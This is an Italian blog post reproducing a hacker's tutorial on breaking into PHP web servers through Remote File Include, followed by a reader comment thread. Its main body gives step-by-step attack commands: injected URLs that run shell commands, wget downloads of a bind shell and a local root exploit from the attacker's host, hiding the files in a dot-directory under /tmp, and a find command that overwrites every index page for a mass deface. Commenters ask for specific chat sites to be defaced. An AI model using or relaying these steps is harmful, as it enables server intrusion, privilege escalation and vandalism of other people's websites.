Attenzione: Effettuare un Mass-deface è un’azione illecita! Geekissimo Blog, Wikihack KinG-LioN e chiunque altro sia attivamene o passivamente menzionato non si assumono responsabilità per l’uso che farete di questa guida, scritta puramente a scopo informativo.
Salve, sono KinG-LioN, spesso mi è stato chiesto come sia possibile bucare un server per poter effettuare un Mass-deface. Per tale scopo, possiamo sfruttare un Remote File Include. Tale tecnica ha lo scopo di ricercare all’interno della sorgente, della struttura di una pagina .php una variabile buggata, ossia una dichiarazione di variabile “imperfetta” che mi consenta di avere un determinato livello di accesso al sistema. Il problema e quindi da ricercare nel sorgente di una pagina. Un classico esempio di variabile non dichiarata in modo sicuro sarebbe:
Da cio possiamo quindi dedurre come sia facile includere un file esterno, una shell, per ottenere dei privilegi. La struttura di tale variabile fa si che il sito buggato (es. http://www.eurohackers.it ) vada a ricercare la pagina in questo determinato modo:
http://www.eurohackers.it?(variabile)=pagina.php , da cio e facile dedurre come un WebAttacker puo sfruttare tale falla con, una semplice modifica dell’url, ossia dichiarando: http://www.eurohackers.it?(variabile)=[ sito esterno ]?&=cmd , dove ?&=(cmd ) ci da la possibilita di eseguire comandi come se ci trovassimo su una consolle unix. Possiamo quindi caricare al posto di [sito_esterno] una shell gia compilata, come le famose c99 o r57, in un formato diverso dal php, quale txt gif etc, per dar modo alla pagina di girare in remoto. Infatti se richiamassimo una shell in formato php, questa girerebbe unicamente in locale, e non in remoto. Alro esempio puo essere dato dalla creazione di una pagina di esecuzione di comando in php, ossia dovremmo creare una pagina php che contiene:
In questo modo, possiamo definire noi i comandi da lanciare sul sito vittima. Nel caso in cui, caricassimo la pagina sopra descritta su un nostro dominio, chiamandola ad esempio kinglion.php, e volessimo attaccare index.php ( con variabile insicura )sul sito www.eurohackers.it, ci bastera digitare: http://www.eurohackers.it/index.php?pagina=http//[nostro_sito.com]
/kinglion.php?&
cmd=[comando] , dunque andremo ad inserire il comando unix subito dopo cmd= per ottenere i privilegi del WebServer. A questo punto spero sia chiaro il tipo di attacco che possiamo effettuare. Molto importante per tale RFI risultano essere le “BindShell” che ci danno la possibilita di associare ad una porta di una macchina, una shell da poter utilizzare in remoto, quindi una BindShell apre una determinata porta sulla macchina a cui possiamo successivamente conntterci da Telnet. Una volta trovato un sito vulnerabile al nostro RFI, possiamo quindi creare una cartella all’interno dello stesso, nella quale piazzare la nostra BindShell. Il comando per far cio è:
http://www.eurohackers.it/index.php?pagina=http//tuo-sito.com/cmd.php?&
cmd=cd
/directory;mkdir cartella;cd cartella;wget http://tuo_sito.com/binshell ,quindi volendo creare la cartella kinglion ( dove metteremo la BindShell )all’interno della directory admin digiteremo:
http://www.eurohackers.it/index.php?pagina=http//tuo-sito.com/cmd.php?&
cmd=cd
/admin;mkdir kinglion;cd kinglion;wget http://tuo_sito.com/binshell
Analizziamo questo comando: [1] : come abbiamo accennato prima ci da la possibilità di sfruttare una variabile insicura [include (“$pagina.inc.php”);] contenuta in questo caso in index.php , per richiamare una pagina php da noi creata contenente a sua volta [system ($cmd) :] che ci da cosi la possibilita di inserire comandi unix dopo [?&cmd=]. cd /admin : ordina al webserver di spostarci nella directory admin mkdir kinglion : invece ordina al webserver di creare la cartella kinglion all’interno della directory in cui ci troviamo, quindi in questo caso admin, dove prima ci siamo spostati col comando cd cd kinglion : come certamente avrete gia intuito, questo comando ci sposta nella directory kinglion appena creata wget http://tuo_sito.com/binshell : infine wget caricherà un file da URL esterno nella directory in cui ci troviamo.
Potrà comunque capitare che noi non disponiamo dei permessi necessari per pter interagire col webserver. In questo caso possiamo exploitare il sistema con exploit locale. Inizieremo quindi con l’analizzare la macchina su cui ci troviamo per verificare i permessi di scrittura a nostra disposizione tramite il comando uname -a;id che ci visualizzera in output i permessi attuali, il kernel, l’host della macchina e se il kernel in questione è patchato. Su Server windows che riconoscete dall’otput ad esempio :[ Microsoft-IIS/6.0. PHP/4.4.1 ], si hanno ottime possibilità di un accesso root, mente su server Unix sara indispensabile exploitare il sistema. Dando quindi in imput il comando : http://www.eurohackers.it/index.php?page=http://tuo-sito.com/kinglion.php?&
cmd= uname -a;id visualizzeremo in output i dati di cui prima ho scritto, che potrebbero essere ad esempio:
7Linux eurohackers 2.6.17 #2 Thu nov 6 09:25:45 GMT 2004 i686 i686 i386 GNU/Linux uid=99(nobody) gid=99(nobody) groups=99(nobody)
Tale risposta del server ci dice che non abbiamo i permessi di root sul server in questione e che quindi non possiamo caricare, edidate o uppare nulla. per risolvere a questo inconveniente, come prima ho accennato possiamo exploitare il kernel. Anche non avendo i permessi di root, nel 99% dei casi almeno una o piu directory del Webserver ( spesso la directory /tmp ) ci da i permessi di cui abbiamo bisogno, e sara prorio quella directory vulnerabile che ci dara la possibilità di exploitare tutto il sistema. Creiamo una nostra directory all’interno di quella vulnerabile col comando “mkdir directory” come sopra descritto. Consiglio di antecedere un “.” ( senza apici ) alla directory creata in modo tale da poterle garantire un certo grado di invisibilità ( per evitare che venga vista ed eliminata dall’admin ), ma comunque si noti che la cartella sarà visibile col comando ” ls -a “. Creata la nostra Directory che chiameremo ad esempio kinglion, disporremo di accesso root e quindi potremmo caricare al suo interno il nostro exploit locale che ci dara pieno accesso a tutto il sistema. Per caricare il nostro exploit che potete cercare sul sito http://www.eurohackers.it , useremo lo stesso comando che abbiamo visto prima, per caricare la BindShell: http://www.eurohackers.it/index.php?pagina=http//tuo-sito.com/cmd.php?&
cmd=cd /tmp;mkdir kinglion;cd kinglion;wget http://tuo_sito.com/exploit Ora il server elaborera la nostra richiesta e dovrebbe risponderci:
www@eurohackers:/tmp$ wget http://tuo_sito.com/exploit –17:47:15– http://tuo_sito.com/exploit => `exploit’ Resolving http://tuo_sito.com/… http://tuo_sito.com/ Connecting to http://tuo_sito.com/[2]:80… connected. HTTP request sent, awaiting response… 200 OK Length: unspecified [text/html]
[ ] 10,152 784.69K/s
12:40:30 (156.23 KB/s) – `exploit’ saved [10152]
Ora l’ultimo passo per diventare root, sara di settare i permessi di scrittura ed esecuzione (drwxrwxrwx) in “chmod 777”. Il comando che dobbiamo dara sarà quindi: http://www.eurohackers.it/index.php?pagina=http//tuo-sito.com/cmd.php?&
cmd=cd tmp/;cd .kinglion;chmod 777 exploit;./exploit;uname -a;id e se avremmo fatto tutto bene, il server ci rispondera in output: 7Linux eurohackers 2.6.17 #2 Thu nov 6 09:41:07 GMT 2004 i686 i686 i386 GNU/Linux uid=99(root) gid=99(root) groups=99(root) Cio sigifica che finalmente siamo ROOT, siamo i padroni del server. Ora nel caso volessimo effettuare un “mass-Deface” sarà sufficiente una sola stringa di comando: find / -name “index.*” -exec cp nostroindex.html {} ; quindi digiteremo: http://www.eurohackers.it/index.php?pagina=http//tuo-sito.com/cmd.php?&cmd=find / -name “index.*” -exec cp kinglion.php {} ; Ossia, con questo comando andremo alla ricerca in “TUTTE” le directory del Webserver di quei file denominati index in tutte le sue estenzioni, che verranno automaticamente sostituite con la pagina da te dichiarata, in questo caso da kinglion.php ( anche se e sempre consigliabile rinominare la pagina sempre col nome index ). Occorre infine precisare che la index da sostituire per in nostro Mass-deface deve essere situata all’interno della stessa directory nella quale viene eseguito il comando, quindi nel nostro caso nella directory principale.
Come abbiamo visto una piccola imperfezione in una variabile ( include (“$pagina.inc.php”); ) puo degenerare in mass-deface, da cio possiamo quindi dedurre come sia vulnerbile il web, e come la conoscenza dei linguaggi di programmazione sia indispensabile, per ogni aspirante hacker. Como posso io evitare che il mio sito venga attaccato con un Remote File Include? Basterà quindi analizzare il sorgente della pagina, e se questi presenta una variabile vulnerabile quale ad esempio include (“$pagina.inc.php”); occorrerà modificarla con include ” /”.$pagina; safe_mode (safe_mode= On) nel file php.ini Con questa leggera modifica possiamo quindi evitare il RFI, ma permettere il directory traversal.
Autore: KinG-LioN
MSN: [email protected]
web: http://www.eurohackers.it
Origine: http://www.eurohackers.it/txt/mass-deface.txt
#1gabriele
vorrei solo imparare ad usare il il pc nel miglior modo programmare hacking ecc volevo solo sapere se mi potete aiutare faccio presente che sono proprio zero cosa mi consigliate?????aspetta una vostra risp
#2ceskho
Volevo sapere se è possibile entrare in un sito già esistente e cambiarne alcune caratteristiche….anche cose stupide tipo immagini, scritte o roba varia…
#3Petru
vorrei imparare solo per una mia conoscenza e basta, come si fa per far cadere la connessione ad un’altra persona tramite pc e quindi tramite il suo IP
#4hkproj
@Petru: Richieste lamer.;
@Ceshko: Non esistono techine ‘universali’, bisogna studiare;
@Gabriele: Beh ti consiglio di studiare un linguaggio di programmazione di basso livello per vedere come funziona la memoria interna ecc.. senza aiuto di garbage collectors o back-end per le API….
E comunque nella guida alcuni codici tipo riferimenti al codice php non appaiono… uso Firefox…
#5hacku
non ho capito come si trova un avariabile dichiarata male e se la shell si deve uppare sul sito da bucare o in un nostro sito.
poi perchè non ci sono gli esempi T_T:
“ossia dovremmo creare una pagina php che contiene:” –> contiene cosa? sotto non c’è nulla O_o
#6ganjolinux
È un tutorial fatto un pò maluccio…….per effettuare questi hack bisogna fondarsi su solide basi di php 😉
#7Codice Mazza
@ hkproj:
sono state tolte apposte le parti che rendono il tuotoria fattibile senza fatica (tipica pappa pronta) cosi che solo chi ne sa può farlo e non un lettore qualunque
#8BrainStorm
Questo tutorial spiega una variante della tecnica di RFI. Può essere utile per capire che quando facciamo un include dobbiamo sempre filtrare il contenuto di ciò che andiamo ad includere.
#9Vegeta
Ma se io nn ho un sito mio, cosa ci metto al posto di “nostro-sito.com”??
Ma nn esistono tools che ci permettono di bucare automaticamente un sito?
Tipo io ho “Acunetix Web Vulnerability Scanner 5”
Potrebbe servire a qualcosa??
E come si usa?
Grazie
#10mistero nero
salve,king-lion se perfavore mi puoi defacciare questa 2 chat mi faresi un grande favore. http://www.siculachat.altervista.org
è anke…. http://www.sfracellochat.altervista.org
mi saresti di grande aiuto…grazieee
by preda…
#11Fallen Angel
@mistero nero: ciao volevo risponderti poichè potresti non aver compreso ciò che è un hacker….
Non sei in grado di bucare tali siti e quindi vai a chiedere a uno più bravo di te se lo può fare per tè, ma sappiate che NOI hacker abbiamo delle regole e una filosofia non è che uno qualsiasi può venire e dirci mi buchi questo o quest’altro
se proprio vuoi farlo inizia a studiare e poi provaci…
Ricordo solo che per essere entrati in un sito ti fai dai 3 ai 5 anni di galera + multa
ciao a tutti
#12mistero nero
grazie;)@ Fallen Angel:
#13mirko
@ Fallen Angel:
NOI hacker..
modesto…
#14Minder
Fallen Angel e company.. andate a tirarvi seghe. Un Hacker non è uno che si mette a bucare siti e a far cadere la gente con l’IP ma è un professionista che ha studiato e si guadagna da vivere con la sua conoscenza dato che questo mondo di merda non ti da lavoro neanche con DUE LAUREE non so se mi spiego. Fallen Angel cresci prima di definirti hacker
#15Fallen Angel
io mica avevo detto che un hacker è uno che si mette a bucare siti e a far cadere la gente con l’IP.
So perfettamente che non è così.
E poi si può essere hacker nello spirito.
Il termine hacker non èm solo riservato e ristretto all’informatica ma anche agli altri campi… “colui che esplora e cerca di migliorare…”
forse prima di insultare sarebbe meglio parlare di ciò che conosci….
Un saluto a tutti 🙂
#16gigihack
x defacciare basta l’utilizzo d acutenix, trovare la vulnerabilita e operare a seconda del tipo d vulnerabilita.
Date retta a un vero hacker cm me
scopo informativo
#17ludovica
vorrei sapere se un profilo di facebook è vero o falso come faccio??
#18SIETELAMER
ma qua tutti hacker sono??oddio che poi se gli chiedi programmami un pc sbiancano…ma andate a zappare invece di copiare le cose altrove e definirvi hacker…LAMEROZZOLI
#19DADO
un hacker che è hacker, non lo bubblica da nessuna parte di esserlo………..
fatemi il piacere va!!!!!
#20. . .
'Complimenti' a kinglame.. questo articolo fa pena..come molti commenti